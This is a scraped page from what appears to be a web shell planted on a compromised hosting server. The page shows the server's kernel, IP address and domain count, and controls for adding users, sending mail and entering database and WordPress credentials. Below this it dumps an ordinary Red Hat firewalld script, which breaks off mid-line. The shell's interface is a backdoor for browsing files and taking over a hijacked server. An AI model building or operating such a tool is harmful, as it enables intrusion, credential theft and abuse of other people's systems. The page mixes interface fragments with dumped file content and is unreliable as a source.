System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
dr-xr-xr-x
]
:
/
bin
/
216.73.216.141
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
firewall-offline-cmd
#!/usr/libexec/platform-python -s # -*- coding: utf-8 -*- # # Copyright (C) 2009-2016 Red Hat, Inc. # # Authors: # Thomas Woerner <twoerner@redhat.com> # Jiri Popelka <jpopelka@redhat.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from gi.repository import GObject import sys sys.modules['gobject'] = GObject import argparse import os from firewall.client import FirewallClientIPSetSettings, \ FirewallClientZoneSettings, FirewallClientServiceSettings, \ FirewallClientIcmpTypeSettings, FirewallClientHelperSettings, \ FirewallClientPolicySettings from firewall.errors import FirewallError from firewall import config from firewall.core.fw import Firewall from firewall.functions import joinArgs, splitArgs, getPortRange from firewall.core.io.functions import check_config from firewall.core.io.zone import zone_reader from firewall.core.io.policy import policy_reader from firewall.core.io.service import service_reader from firewall.core.io.ipset import ipset_reader from firewall.core.io.icmptype import icmptype_reader from firewall.core.io.helper import helper_reader from firewall.command import FirewallCommand # check for root user def assert_root(): if os.getuid() != 0: sys.stderr.write("You need to be root to run %s.\n" % sys.argv[0]) sys.exit(-1) SYSTEM_CONFIG_FIREWALL = config.SYSCONFIGDIR + '/system-config-firewall' def __usage(): sys.stdout.write(""" Usage: firewall-offline-cmd [OPTIONS...] If no options are given, configuration from '%s' will be migrated. General Options -h, --help Prints a short help text and exits -V, --version Print the version string of firewalld -q, --quiet Do not print status messages --system-config Path to firewalld system configuration --default-config Path to firewalld default configuration --check-config Check system and default configuration Lokkit Compatibility Options --migrate-system-config-firewall=<file> Import configuration data from the given configuration file. --enabled Enable firewall (default) --disabled Disable firewall --addmodule=<module> Ignored option, was used to enable an iptables module --removemodule=<module> Ignored option, was used to disable an iptables module -s <service>, --service=<service> Enable a service in the default zone (example: ssh) --remove-service=<service> Disable a service in the default zone (example: ssh) -p <port>[-<port>]:<protocol>, --port=<port>[-<port>]:<protocol> Enable a port in the default zone (example: ssh:tcp) -t <interface>, --trust=<interface> Bind an interface to the trusted zone -m <interface>, --masq=<interface> Enables masquerading in the default zone, interface argument is ignored. This is IPv4 only. --custom-rules=[<type>:][<table>:]<filename> Ignored option. Was used to add custom rules to the firewall (Example: ipv4:filter:%s/ipv4_filter_addon) --forward-port=if=<interface>:port=<port>:proto=<protocol>[:toport=<destination port>][:toaddr=<destination address>] Forward the port with protocol for the interface to either another local destination port (no destination address given) or to an other destination address with an optional destination port. This will be added to the default zone. This is IPv4 only. --block-icmp=<icmp type> Block this ICMP type in the default zone. The default is to accept all ICMP types. Log Denied Options --get-log-denied Print the log denied value --set-log-denied=<value> Set log denied value Automatic Helpers Options --get-automatic-helpers Print the automatic helpers value --set-automatic-helpers=<value> Set automatic helpers value Zone Options --get-default-zone Print default zone for connections and interfaces --set-default-zone=<zone> Set default zone --get-zones Print predefined zones --get-services Print predefined services --get-icmptypes Print predefined icmptypes --get-zone-of-interface=<interface> Print name of the zone the interface is bound to --get-zone-of-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Print name of the zone the source is bound to --list-all-zones List everything added for or enabled in all zones --new-zone=<zone> Add a new empty zone --new-zone-from-file=<filename> [--name=<zone>] Add a new zone from file with optional name override [P only] --delete-zone=<zone> Delete an existing zone --load-zone-defaults=<zone> Load zone default settings --zone=<zone> Use this zone to set or query options, else default zone Usable for options marked with [Z] --info-zone=<zone> Print information about a zone --path-zone=<zone> Print file path of a zone Policy Options --get-policies Print predefined policies --list-all-policies List everything added for or enabled in all policies --new-policy=<policy> Add a new empty policy --new-policy-from-file=<filename> [--name=<policy>] Add a new policy from file with optional name override [P only] --delete-policy=<policy> Delete an existing policy --load-policy-defaults=<policy> Load policy default settings --policy=<policy> Use this policy to set or query options Usable for options marked with [O] --info-policy=<policy> Print information about a policy --path-policy=<policy> Print file path of a policy IPSet Options --new-ipset=<ipset> --type=<ipset type> [--option=<key>[=<value>]].. Add a new empty ipset --new-ipset-from-file=<filename> [--name=<ipset>] Add a new ipset from file with optional name override [P only] --delete-ipset=<ipset> Delete an existing ipset --load-ipset-defaults=<ipset> Load ipset default settings --info-ipset=<ipset> Print information about an ipset --path-ipset=<ipset> Print file path of an ipset --get-ipsets Print predefined ipsets --ipset=<ipset> --set-description=<description> Set new description to ipset --ipset=<ipset> --get-description Print description for ipset --ipset=<ipset> --set-short=<description> Set new short description to ipset --ipset=<ipset> --get-short Print short description for ipset --ipset=<ipset> --add-entry=<entry> Add a new entry to an ipset --ipset=<ipset> --remove-entry=<entry> Remove an entry from an ipset --ipset=<ipset> --query-entry=<entry> Return whether ipset has an entry --ipset=<ipset> --get-entries List entries of an ipset --ipset=<ipset> --add-entries-from-file=<entry> Add a new entries to an ipset --ipset=<ipset> --remove-entries-from-file=<entry> Remove entries from an ipset IcmpType Options --new-icmptype=<icmptype> Add a new empty icmptype --new-icmptype-from-file=<filename> [--name=<icmptype>] Add a new icmptype from file with optional name override [P only] --delete-icmptype=<icmptype> Delete an existing icmptype --load-icmptype-defaults=<icmptype> Load icmptype default settings --info-icmptype=<icmptype> Print information about an icmptype --path-icmptype=<icmptype> Print file path of an icmptype --icmptype=<icmptype> --set-description=<description> Set new description to icmptype --icmptype=<icmptype> --get-description Print description for icmptype --icmptype=<icmptype> --set-short=<description> Set new short description to icmptype --icmptype=<icmptype> --get-short Print short description for icmptype --icmptype=<icmptype> --add-destination=<ipv> Enable destination for ipv in icmptype --icmptype=<icmptype> --remove-destination=<ipv> Disable destination for ipv in icmptype --icmptype=<icmptype> --query-destination=<ipv> Return whether destination ipv is enabled in icmptype --icmptype=<icmptype> --get-destinations List destinations in icmptype Service Options --new-service=<service> Add a new empty service --new-service-from-file=<filename> [--name=<service>] Add a new service from file with optional name override [P only] --delete-service=<service> Delete an existing service --load-service-defaults=<service> Load icmptype default settings --info-service=<service> Print information about a service --path-service=<service> Print file path of a service --service=<service> --set-description=<description> Set new description to service --service=<service> --get-description Print description for service --service=<service> --set-short=<description> Set new short description to service --service=<service> --get-short Print short description for service --service=<service> --add-port=<portid>[-<portid>]/<protocol> Add a new port to service --service=<service> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from service --service=<service> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for service --service=<service> --get-ports List ports of service --service=<service> --add-protocol=<protocol> Add a new protocol to service --service=<service> --remove-protocol=<protocol> Remove a protocol from service --service=<service> --query-protocol=<protocol> Return whether the protocol has been added for service --service=<service> --get-protocols List protocols of service --service=<service> --add-source-port=<portid>[-<portid>]/<protocol> Add a new source port to service --service=<service> --remove-source-port=<portid>[-<portid>]/<protocol> Remove a source port from service --service=<service> --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added for service [P only] --service=<service> --get-source-ports List source ports of service --service=<service> --add-helper=<helper> Add a new helper to service --service=<service> --remove-helper=<helper> Remove a helper from service --service=<service> --query-helper=<helper> Return whether the helper has been added for service --service=<service> --get-service-helpers List helpers of service --service=<service> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service --service=<service> --remove-destination=<ipv> Disable destination for ipv i service --service=<service> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service --service=<service> --get-destinations List destinations in service --service=<service> --add-include=<service> Add a new include to service --service=<service> --remove-include=<service> Remove a include from service --service=<service> --query-include=<service> Return whether the include has been added for service --service=<service> --get-includes List includes of service Options to Adapt and Query Zones and Policies --list-all List everything added for or enabled [Z] [O] --set-description=<description> Set new description [Z] [O] --get-description Print description [Z] [O] --get-target Get the target [Z] [O] --set-target=<target> Set the target [Z] [O] --set-short=<description> Set new short description to zone [Z] [O] --get-short Print short description for zone [Z] [O] --list-services List services added [Z] [O] --add-service=<service> Add a service [Z] [O] --remove-service-from-zone=<service> Remove a service from a zone [Z] --remove-service-from-policy=<service> Remove a service from a policy [O] --query-service=<service> Return whether service has been added [Z] [O] --list-ports List ports added [Z] [O] --add-port=<portid>[-<portid>]/<protocol> Add the port [Z] [O] --remove-port=<portid>[-<portid>]/<protocol> Remove the port [Z] [O] --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added [Z] [O] --list-protocols List protocols added [Z] [O] --add-protocol=<protocol> Add the protocol [Z] [O] --remove-protocol=<protocol> Remove the protocol [Z] [O] --query-protocol=<protocol> Return whether the protocol has been added [Z] [O] --list-source-ports List source ports added [Z] [O] --add-source-port=<portid>[-<portid>]/<protocol> Add the source port [Z] [O] --remove-source-port=<portid>[-<portid>]/<protocol> Remove the source port [Z] [O] --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added [Z] [O] --list-icmp-blocks List Internet ICMP type blocks added [Z] [O] --add-icmp-block=<icmptype> Add an ICMP block [Z] [O] --remove-icmp-block=<icmptype> Remove the ICMP block [Z] [O] --query-icmp-block=<icmptype> Return whether an ICMP block has been added [Z] [O] --list-forward-ports List IPv4 forward ports added [Z] [O] --add-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Add the IPv4 forward port [Z] [O] --remove-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Remove the IPv4 forward port [Z] [O] Options to Adapt and Query Zones --add-icmp-block-inversion Enable inversion of icmp blocks for a zone [Z] --remove-icmp-block-inversion Disable inversion of icmp blocks for a zone [Z] --query-icmp-block-inversion Return whether inversion of icmp blocks has been enabled for a zone [Z] --add-forward Enable forwarding of packets between interfaces and sources in a zone [Z] --remove-forward Disable forwarding of packets between interfaces and sources in a zone [Z] --query-forward Return whether forwarding of packets between interfaces and sources has been enabled for a zone [Z] Options to Adapt and Query Policies --get-priority Get the priority [O] --set-priority=<priority> Set the priority [O] --list-ingress-zones List ingress zones that are bound to a policy [O] --add-ingress-zone=<zone> Add the ingress zone to a policy [O] --remove-ingress-zone=<zone> Remove the ingress zone from a policy [O] --query-ingress-zone=<zone> Query whether the ingress zone has been adedd to a policy [O] --list-egress-zones List egress zones that are bound to a policy [O] --add-egress-zone=<zone> Add the egress zone to a policy [O] --remove-egress-zone=<zone> Remove the egress zone from a policy [O] --query-egress-zone=<zone> Query whether the egress zone has been adedd to a policy [O] Options to Handle Bindings of Interfaces --list-interfaces List interfaces that are bound to a zone [Z] --add-interface=<interface> Bind the <interface> to a zone [Z] --change-interface=<interface> Change zone the <interface> is bound to [Z] --query-interface=<interface> Query whether <interface> is bound to a zone [Z] --remove-interface=<interface> Remove binding of <interface> from a zone [Z] Options to Handle Bindings of Sources --list-sources List sources that are bound to a zone [Z] --add-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Bind the source to a zone [Z] --change-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Change zone the source is bound to [Z] --query-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Query whether the source is bound to a zone [Z] --remove-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Remove binding of the source from a zone [Z] Helper Options --new-helper=<helper> --module=<module> [--family=<family>] Add a new helper --new-helper-from-file=<filename> [--name=<helper>] Add a new helper from file with optional name --delete-helper=<helper> Delete an existing helper --load-helper-defaults=<helper> Load helper default settings --info-helper=<helper> Print information about an helper --path-helper=<helper> Print file path of an helper --get-helpers Print predefined helpers --helper=<helper> --set-description=<description> Set new description to helper --helper=<helper> --get-description Print description for helper --helper=<helper> --set-short=<description> Set new short description to helper --helper=<helper> --get-short Print short description for helper --helper=<helper> --add-port=<portid>[-<portid>]/<protocol> Add a new port to helper --helper=<helper> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from helper --helper=<helper> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for helper --helper=<helper> --get-ports List ports of helper --helper=<helper> --set-module=<module> Set module to helper --helper=<helper> --get-module Get module from helper --helper=<helper> --set-family={ipv4|ipv6|} Set family for helper --helper=<helper> --get-family Get module from helper Direct Options --direct First option for all direct options --get-all-chains Get all chains --get-chains {ipv4|ipv6|eb} <table> Get all chains added to the table --add-chain {ipv4|ipv6|eb} <table> <chain> Add a new chain to the table --remove-chain {ipv4|ipv6|eb} <table> <chain> Remove the chain from the table --query-chain {ipv4|ipv6|eb} <table> <chain> Return whether the chain has been added to the table --get-all-rules Get all rules --get-rules {ipv4|ipv6|eb} <table> <chain> Get all rules added to chain in table --add-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Add rule to chain in table --remove-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Remove rule with priority from chain in table --remove-rules {ipv4|ipv6|eb} <table> <chain> Remove rules from chain in table --query-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Return whether a rule with priority has been added to chain in table --get-all-passthroughs Get all passthrough rules --get-passthroughs {ipv4|ipv6|eb} <arg>... Get passthrough rules --add-passthrough {ipv4|ipv6|eb} <arg>... Add a new passthrough rule --remove-passthrough {ipv4|ipv6|eb} <arg>... Remove a passthrough rule --query-passthrough {ipv4|ipv6|eb} <arg>... Return whether the passthrough rule has been added Lockdown Options --lockdown-on Enable lockdown. --lockdown-off Disable lockdown. --query-lockdown Query whether lockdown is enabled Lockdown Whitelist Options --list-lockdown-whitelist-commands List all command lines that are on the whitelist --add-lockdown-whitelist-command=<command> Add the command to the whitelist --remove-lockdown-whitelist-command=<command> Remove the command from the whitelist --query-lockdown-whitelist-command=<command> Query whether the command is on the whitelist --list-lockdown-whitelist-contexts List all contexts that are on the whitelist --add-lockdown-whitelist-context=<context> Add the context context to the whitelist --remove-lockdown-whitelist-context=<context> Remove the context from the whitelist --query-lockdown-whitelist-context=<context> Query whether the context is on the whitelist --list-lockdown-whitelist-uids List all user ids that are on the whitelist --add-lockdown-whitelist-uid=<uid> Add the user id uid to the whitelist --remove-lockdown-whitelist-uid=<uid> Remove the user id uid from the whitelist --query-lockdown-whitelist-uid=<uid> Query whether the user id uid is on the whitelist --list-lockdown-whitelist-users List all user names that are on the whitelist --add-lockdown-whitelist-user=<user> Add the user name user to the whitelist --remove-lockdown-whitelist-user=<user> Remove the user name user from the whitelist --query-lockdown-whitelist-user=<user> Query whether the user name user is on the whitelist Polkit Options --policy-server Change Polkit actions to 'server' (more restricted) --policy-desktop Change Polkit actions to 'desktop' (less restricted) """ % (SYSTEM_CONFIG_FIREWALL, config.SYSCONFIGDIR)) def parse_port_lokkit(value): try: (port, proto) = value.split(":") except Exception: cmd.fail("bad port (most likely missing protocol), correct syntax is portid[-portid]:protocol") return (port, proto) def pk_symlink(product='server'): _PK_DIR = '/usr/share/polkit-1/actions/' _PK_NAME = 'org.fedoraproject.FirewallD1.' os.chdir(_PK_DIR) if os.path.isfile(_PK_NAME+product+'.policy.choice'): if os.path.isfile(_PK_NAME+'policy'): os.remove(_PK_NAME+'policy') os.symlink(_PK_NAME+product+'.policy.choice', _PK_NAME+'policy') cmd.print_and_exit('symlink '+_PK_DIR+_PK_NAME+product+'.policy.choice -> '+_PK_NAME+'policy') else: cmd.fail('no such file '+_PK_DIR+_PK_NAME+product+'.policy.choice') # system-config-firewall def read_sysconfig_args(config_file=SYSTEM_CONFIG_FIREWALL): filename = None if os.path.exists(config_file) and os.path.isfile(config_file): filename = config_file try: f = open(filename, 'r') except Exception: return None argv = [ ] for line in f: if not line: break line = line.strip() if len(line) < 1 or line[0] == '#': continue argv.append(line) f.close() return argv parser = argparse.ArgumentParser(usage="see firewall-offline-cmd man page", add_help=False) parser_group_output = parser.add_mutually_exclusive_group() parser_group_output.add_argument("-v", "--verbose", action="store_true") parser_group_output.add_argument("-q", "--quiet", action="store_true") parser_group_lokkit = parser.add_argument_group() parser_group_lokkit.add_argument("--enabled", action="store_true") parser_group_lokkit.add_argument("--disabled", action="store_true") parser_group_lokkit.add_argument("--addmodule", metavar="<module>", action='append') parser_group_lokkit.add_argument("--removemodule", metavar="<module>", action='append') parser_group_lokkit.add_argument("--service", "-s", metavar="<service>", action='append') parser_group_lokkit.add_argument("--remove-service", metavar="<service>", action='append') parser_group_lokkit.add_argument("--port", "-p", metavar="<port>", action='append') parser_group_lokkit.add_argument("--trust", "-t", metavar="<iface>", action='append') parser_group_lokkit.add_argument("--masq", "-m", metavar="<iface>", action='append') parser_group_lokkit.add_argument("--custom-rules", metavar="<filename>", action='append') parser_group_lokkit.add_argument("--forward-port", metavar="<port>", action='append') parser_group_lokkit.add_argument("--block-icmp", metavar="<icmptype>", action='append') parser.add_argument("--system-config", metavar="path") parser.add_argument("--default-config", metavar="path") parser.add_argument("--check-config", action="store_true") parser_group_standalone = parser.add_mutually_exclusive_group() parser_group_standalone.add_argument("-h", "--help", action="store_true") parser_group_standalone.add_argument("-V", "--version", action="store_true") parser_group_standalone.add_argument("--get-log-denied", action="store_true") parser_group_standalone.add_argument("--set-log-denied", metavar="<value>") parser_group_standalone.add_argument("--get-automatic-helpers", action="store_true") parser_group_standalone.add_argument("--set-automatic-helpers", metavar="<value>") parser_group_standalone.add_argument("--policy-server", action="store_true") parser_group_standalone.add_argument("--policy-desktop", action="store_true") parser_group_standalone.add_argument("--lockdown-on", action="store_true") parser_group_standalone.add_argument("--lockdown-off", action="store_true") parser_group_standalone.add_argument("--query-lockdown", action="store_true") parser_group_standalone.add_argument("--get-default-zone", action="store_true") parser_group_standalone.add_argument("--set-default-zone", metavar="<zone>") parser_group_standalone.add_argument("--get-zones", action="store_true") parser_group_standalone.add_argument("--get-policies", action="store_true") parser_group_standalone.add_argument("--get-services", action="store_true") parser_group_standalone.add_argument("--get-icmptypes", action="store_true") parser_group_standalone.add_argument("--get-zone-of-interface", metavar="<iface>", action='append') parser_group_standalone.add_argument("--get-zone-of-source", metavar="<source>", action='append') parser_group_standalone.add_argument("--list-all-zones", action="store_true") parser_group_standalone.add_argument("--list-all-policies", action="store_true") parser_group_standalone.add_argument("--info-zone", metavar="<zone>") parser_group_standalone.add_argument("--info-policy", metavar="<policy>") parser_group_standalone.add_argument("--info-service", metavar="<service>") parser_group_standalone.add_argument("--info-icmptype", metavar="<icmptype>") parser_group_standalone.add_argument("--info-ipset", metavar="<ipset>") parser_group_standalone.add_argument("--info-helper", metavar="<helper>") parser_group_config = parser.add_mutually_exclusive_group() parser_group_config.add_argument("--new-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--new-icmptype-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--load-icmptype-defaults", metavar="<icmptype>") parser_group_config.add_argument("--new-service", metavar="<service>") parser_group_config.add_argument("--new-service-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-service", metavar="<service>") parser_group_config.add_argument("--load-service-defaults", metavar="<service>") parser_group_config.add_argument("--new-zone", metavar="<zone>") parser_group_config.add_argument("--new-zone-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-zone", metavar="<zone>") parser_group_config.add_argument("--load-zone-defaults", metavar="<zone>") parser_group_config.add_argument("--new-policy", metavar="<policy>") parser_group_config.add_argument("--new-policy-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-policy", metavar="<policy>") parser_group_config.add_argument("--load-policy-defaults", metavar="<policy>") parser_group_config.add_argument("--new-ipset", metavar="<ipset>") parser_group_config.add_argument("--new-ipset-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-ipset", metavar="<ipset>") parser_group_config.add_argument("--load-ipset-defaults", metavar="<ipset>") parser_group_config.add_argument("--new-helper", metavar="<helper>") parser_group_config.add_argument("--new-helper-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-helper", metavar="<helper>") parser_group_config.add_argument("--load-helper-defaults", metavar="<helper>") parser_group_config.add_argument("--path-zone", metavar="<zone>") parser_group_config.add_argument("--path-policy", metavar="<policy>") parser_group_config.add_argument("--path-service", metavar="<service>") parser_group_config.add_argument("--path-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--path-ipset", metavar="<ipset>") parser_group_config.add_argument("--path-helper", metavar="<helper>") parser.add_argument("--name", default="", metavar="<name>") parser_group_lockdown_whitelist = parser.add_mutually_exclusive_group() parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-commands", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-contexts", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-uids", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-users", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-user", metavar="<user>", action='append') parser.add_argument("--zone", default="", metavar="<zone>") parser.add_argument("--policy", default="", metavar="<policy>") parser_group_zone_or_policy = parser.add_mutually_exclusive_group() parser_group_zone_or_policy.add_argument("--add-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--remove-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--query-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--change-interface", "--change-zone", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--list-interfaces", action="store_true") parser_group_zone_or_policy.add_argument("--add-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--remove-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--query-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--change-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--list-sources", action="store_true") parser_group_zone_or_policy.add_argument("--add-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-ingress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-egress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--remove-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--query-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--add-service", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--remove-service-from-zone", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--remove-service-from-policy", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--query-service", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--add-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--remove-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--query-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--add-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-forward", action="store_true") parser_group_zone_or_policy.add_argument("--remove-forward", action="store_true") parser_group_zone_or_policy.add_argument("--query-forward", action="store_true") parser_group_zone_or_policy.add_argument("--add-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--remove-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--query-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--add-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--remove-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--query-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--add-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--remove-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--query-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--add-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--list-rich-rules", action="store_true") parser_group_zone_or_policy.add_argument("--list-services", action="store_true") parser_group_zone_or_policy.add_argument("--list-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-protocols", action="store_true") parser_group_zone_or_policy.add_argument("--list-icmp-blocks", action="store_true") parser_group_zone_or_policy.add_argument("--list-forward-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-source-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-all", action="store_true") parser_group_zone_or_policy.add_argument("--get-target", action="store_true") parser_group_zone_or_policy.add_argument("--set-target", metavar="<target>") parser_group_zone_or_policy.add_argument("--get-priority", action="store_true") parser_group_zone_or_policy.add_argument("--set-priority", metavar="<priority>") parser.add_argument("--option", metavar="<key>[=<value>]", action='append') parser.add_argument("--type", metavar="<ipsettype>") parser.add_argument("--ipset", metavar="<ipset>") parser_ipset = parser.add_mutually_exclusive_group() #parser_ipset.add_argument("--add-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--remove-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--query-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--get-options", action="store_true") parser_ipset.add_argument("--get-ipsets", action="store_true") parser_ipset.add_argument("--add-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--remove-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--query-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--get-entries", action="store_true") parser_ipset.add_argument("--add-entries-from-file", metavar="<filename>", action='append') parser_ipset.add_argument("--remove-entries-from-file", metavar="<filename>", action='append') parser.add_argument("--icmptype", metavar="<icmptype>") parser_icmptype = parser.add_mutually_exclusive_group() parser_icmptype.add_argument("--add-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--remove-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--query-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--get-destinations", action="store_true") parser_service = parser.add_mutually_exclusive_group() parser_service.add_argument("--get-ports", action="store_true") parser_service.add_argument("--get-source-ports", action="store_true") parser_service.add_argument("--get-protocols", action="store_true") parser_service.add_argument("--add-module", metavar="<module>", action='append') parser_service.add_argument("--remove-module", metavar="<module>", action='append') parser_service.add_argument("--query-module", metavar="<module>", action='append') parser_service.add_argument("--get-modules", action="store_true") parser_service.add_argument("--add-helper", metavar="<helper>", action='append') parser_service.add_argument("--remove-helper", metavar="<helper>", action='append') parser_service.add_argument("--query-helper", metavar="<helper>", action='append') parser_service.add_argument("--get-service-helpers", action="store_true") parser_service.add_argument("--add-include", metavar="<service>", action='append') parser_service.add_argument("--remove-include", metavar="<service>", action='append') parser_service.add_argument("--query-include", metavar="<service>", action='append') parser_service.add_argument("--get-includes", action="store_true") parser_service.add_argument("--set-destination", metavar="<destination>", action='append') parser_service.add_argument("--get-destination", action="store_true") parser_service.add_argument("--set-description", metavar="<description>") parser_service.add_argument("--get-description", action="store_true") parser_service.add_argument("--set-short", metavar="<description>") parser_service.add_argument("--get-short", action="store_true") parser.add_argument("--helper", metavar="<helper>") parser.add_argument("--family", metavar="<family>") parser.add_argument("--module", metavar="<module>") parser_helper = parser.add_mutually_exclusive_group() #parser_helper.add_argument("--get-ports", action="store_true") parser_helper.add_argument("--get-helpers", action="store_true") parser_helper.add_argument("--set-module", metavar="<module>") parser_helper.add_argument("--get-module", action="store_true") #parser_helper.add_argument("--query-module", metavar="<module>") parser_helper.add_argument("--set-family", metavar="<family>|''", nargs="*") parser_helper.add_argument("--get-family", action="store_true") parser.add_argument("--direct", action="store_true") # not possible to have sequences of options here parser_direct = parser.add_mutually_exclusive_group() parser_direct.add_argument("--add-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 